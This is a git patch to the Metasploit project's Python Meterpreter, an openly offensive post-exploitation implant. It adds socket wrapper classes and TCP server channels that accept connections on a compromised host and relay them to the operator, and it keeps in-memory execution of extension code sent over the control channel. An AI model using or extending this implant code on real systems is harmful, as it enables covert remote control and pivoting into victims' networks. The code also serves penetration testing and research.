From 0834102e2bf0cc2534e9c4ab1fea58038ede57b1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 4 Mar 2014 13:31:29 -0500 Subject: [PATCH] Support tcp server channels and add a python MeterpreterSocket --- data/meterpreter/ext_server_stdapi.py | 54 ++++---- data/meterpreter/meterpreter.py | 172 ++++++++++++++++++-------- 2 files changed, 148 insertions(+), 78 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 8c5ca997d7..325b117847 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -217,16 +217,16 @@ class RTATTR(ctypes.Structure): # # TLV Meta Types # -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV Specific Types @@ -485,21 +485,6 @@ def get_stat_buffer(path): st_buf += struct.pack('II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] return data +#@export +class MeterpreterSocket(object): + def __init__(self, sock): + self.sock = sock + + def __getattr__(self, name): + return getattr(self.sock, name) +export(MeterpreterSocket) + +#@export +class MeterpreterSocketClient(MeterpreterSocket): + pass +export(MeterpreterSocketClient) + +#@export +class MeterpreterSocketServer(MeterpreterSocket): + pass +export(MeterpreterSocketServer) + class STDProcessBuffer(threading.Thread): def __init__(self, std, is_alive): threading.Thread.__init__(self) @@ -178,6 +228,7 @@ class STDProcessBuffer(threading.Thread): self.data_lock.release() return data +#@export class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) @@ -187,6 +238,7 @@ class STDProcess(subprocess.Popen): self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() +export(STDProcess) class PythonMeterpreter(object): def __init__(self, socket): @@ -201,10 +253,12 @@ class PythonMeterpreter(object): def register_function(self, func): self.extension_functions[func.__name__] = func + return func def register_function_windll(self, func): if has_windll: self.register_function(func) + return func def add_channel(self, channel): idx = 0 @@ -235,7 +289,8 @@ class PythonMeterpreter(object): self.socket.send(response) else: channels_for_removal = [] - channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed + # iterate over the keys because self.channels could be modified if one is closed + channel_ids = self.channels.keys() for channel_id in channel_ids: channel = self.channels[channel_id] data = '' @@ -248,7 +303,7 @@ class PythonMeterpreter(object): data = channel.stderr_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) - elif isinstance(channel, socket._socketobject): + elif isinstance(channel, MeterpreterSocketClient): while len(select.select([channel.fileno()], [], [], 0)[0]): try: d = channel.recv(1) @@ -258,6 +313,21 @@ class PythonMeterpreter(object): self.handle_dead_resource_channel(channel_id) break data += d + elif isinstance(channel, MeterpreterSocketServer): + if len(select.select([channel.fileno()], [], [], 0)[0]): + (client_sock, client_addr) = channel.accept() + server_addr = channel.getsockname() + client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open') + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id) + pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id) + pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0])) + pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1]) + pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) + pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) if data: pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') @@ -284,7 +354,9 @@ class PythonMeterpreter(object): if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE preloadlib_methods = self.extension_functions.keys() - i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + symbols_for_extensions = {'meterpreter':self} + symbols_for_extensions.update(EXPORTED_SYMBOLS) + i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) postloadlib_methods = self.extension_functions.keys() new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) @@ -299,7 +371,7 @@ class PythonMeterpreter(object): def _core_channel_open(self, request, response): channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) - handler = 'channel_create_' + channel_type['value'] + handler = 'channel_open_' + channel_type['value'] if handler not in self.extension_functions: return ERROR_FAILURE, response handler = self.extension_functions[handler] @@ -314,7 +386,7 @@ class PythonMeterpreter(object): channel.close() elif isinstance(channel, subprocess.Popen): channel.kill() - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterSocket): channel.close() else: return ERROR_FAILURE, response @@ -363,7 +435,7 @@ class PythonMeterpreter(object): self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterSocket): data = channel.recv(length) else: return ERROR_FAILURE, response @@ -385,7 +457,7 @@ class PythonMeterpreter(object): self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response channel.stdin.write(channel_data) - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterSocket): try: l = channel.send(channel_data) except socket.error: